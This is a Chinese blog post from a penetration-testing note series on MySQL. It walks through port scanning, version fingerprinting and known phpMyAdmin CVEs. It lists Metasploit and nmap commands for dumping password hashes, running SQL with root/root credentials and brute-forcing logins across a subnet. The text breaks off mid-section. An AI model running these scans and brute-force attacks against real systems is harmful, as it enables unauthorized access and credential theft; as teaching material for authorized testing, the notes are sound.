(四)mysql数据库总结和渗透测试相关漏洞整理

 

1.1 Mysql信息收集

1.端口信息收集

Mysql默认端口是3306端口,但也有自定义端口,针对默认端口扫描主要利用扫描软件进行探测,推荐使用:

1IIS PUT scanner,直接填写3306端口,IP地址填写单个或者C段地址,速度还是挺快的。

2nmap扫描nmap -p 3306 192.168.1.1-254

特定目标的渗透,可能需要对全端口进行扫描,可以使用Nmap对某一个IP地址进行全端口扫描,端口扫描软件还有sfindDOS下扫描的工具。

2.版本信息收集

1msf查看版本信息auxiliary/scanner/mysql/mysql_version模块,以扫描主机172.16.222.130为例,命令为:

use auxiliary/scanner/mysql/mysql_version

set rhosts 172.16.222.130

run

(2mysql查询版本命令:

1. 没有连接到MySQL服务器,就想查看MySQL的版本。打开cmd,切换至mysqlbin目录,运行下面的命令即可:

e:\mysql\bin>mysql -V 或者mysql -v

2. 如果已经连接到了MySQL服务器,在命令行连接时其实已经显示出版本信息。

 

也可以通过运行下面的命令查看:

mysql> select version();

mysql> select version();或者:mysql> status;

(3)sqlmap通过注入点扫描确认信息:

sqlmap.py -u url --dbms mysql

4phpmyadmin管理页面登录后查看localhost->变量->服务器变量和设置中的version参数值。

3.数据库管理信息收集

Mysql管理工具有多种,例如phpmyadmin网站管理,Navicat for MySQL以及MysqlFront等客户端工具。这些工具有的会直接保存配置信息,这些信息包含数据库服务器地址和数据库用户名以及密码,通过嗅探或者破解配置文件可以获取密码等信息。管理工具也存在一些常见的安全漏洞导致信息泄露甚至getshell

1CVE-2015-8669libraries/config/messages.inc.php信息泄露漏洞

受影响版本:

phpMyAdmin phpMyAdmin 4.5.x-4.5.3.14.4.x-4.4.15.24.0.x-4.0.10.12

2CVE-2016-5734PhpMyAdmin 4.3.0—4.6.2授权用户远程命令执行漏洞

受影响版本:

4.0.10.16之前4.0.x版本、4.4.15.7之前4.4.x版本、4.6.3之前4.6.x版本

3CVE-2018-12613phpmyadmin 4.8.1 远程文件包含漏洞

4.msf信息收集模块

1mysql哈希值枚举(账户密码已知)

use auxiliary/scanner/mysql/mysql_hashdump

set username root

set password root

run

2)获取相关信息

use auxiliary/admin/mysql/mysql_enum

set username root

set password root

run

获取数据库版本,操作系统名称,架构,数据库目录,数据库用户以及密码哈希值。

3)执行mysql语句,连接成功后可以在msf执行sql语句,跟sqlmap--sql-shell模块类似。

use auxiliary/admin/mysql/mysql_sql

msf  auxiliary(mysql_sql) > set PASSWORD 123456

PASSWORD => 123456

msf  auxiliary(mysql_sql) > set RHOST 5.5.5.3

RHOST => 5.5.5.3

msf  auxiliary(mysql_sql) > set USERNAME root

USERNAME => root

msf  auxiliary(mysql_sql) > exploit

 

[*] Sending statement: 'select version()'...

[*]  | 5.5.16 |

[*] Auxiliary module execution completed

msf  auxiliary(mysql_sql) >

4)将mysql_schem导出到本地 /root/.msf4/loot/文件夹下

use auxiliary/scanner/mysql/mysql_schemadump

5)文件枚举和目录可写信息枚举

auxiliary/scanner/mysql/mysql_file_enum

auxiliary/scanner/mysql/mysql_writable_dirs

没有测试成功过,需要定义枚举目录和相关文件,觉得基本没有啥用。

注:针对于mysql数据库版本可能某些模块无法实现,测试msf2的靶机mysq版本为5.0.5测试可用,其余可能有所出入。

链接:https://mp.csdn.net/postedit/86467214

1.2Mysql密码获取

1.2.1暴力破解

Mysql暴力破解主要有几种:

1.网页在线连接破解

可以使用burpsuitephpMyAdmin多线程批量破解工具。 下载:https://portswigger.net/burp/https://pan.baidu.com/s/1WbCjrruLWn-drK2Jfx1PYg

2.msf通过命令行进行暴力破解

msf破解mysql密码模块auxiliary/scanner/mysql/mysql_login,其参数主要有BLANK_PASSWORDSBRUTEFORCE_SPEEDDB_ALL_CREDSDB_ALL_PASSDB_ALL_USERSPASSWORDPASS_FILEProxiesRHOSTSRPORTSTOP_ON_SUCCESSTHREADSUSERNAMEUSERPASS_FILEUSER_AS_PASSUSER_FILEVERBOSE参数。对单一主机仅仅需要设置RHOSTSRPORTUSERNAMEPASSWORDPASS_FILE,其它参数根据实际情况进行设置。

1)场景A:对内网获取root某一个口令后,扩展渗透

use auxiliary/scanner/mysql/mysql_login

set RHOSTS 172.16.222.1-254

set password root

set username root

run

执行后对172.16.222.1-254进行mysql密码扫描验证。

2)场景B:使用密码字典进行扫描

use auxiliary/scanner/mysql/mysql_login

set RHOSTS 172.16.222.1-254

set pass_file /tmp/password.txt

set username root

run

3.使用nmap扫描并破解密码

1)对某一个IP或者IP地址段进行nmap默认密码暴力破解并扫描

nmap --script=mysql-brute 172.16.222.130

nmap --script=mysql-brute 172.16.222.1-254

2)使用root账号root密码进行mysql密码验证并扫描获取指定IP地址的端口信息以及mysql数据库相关信息

nmap -sV --script=mysql-databases --script-argsmysqluser=root,mysqlpass=root 172.16.222.130

3)检查root

  • 0
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

爱上卿Ooo

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值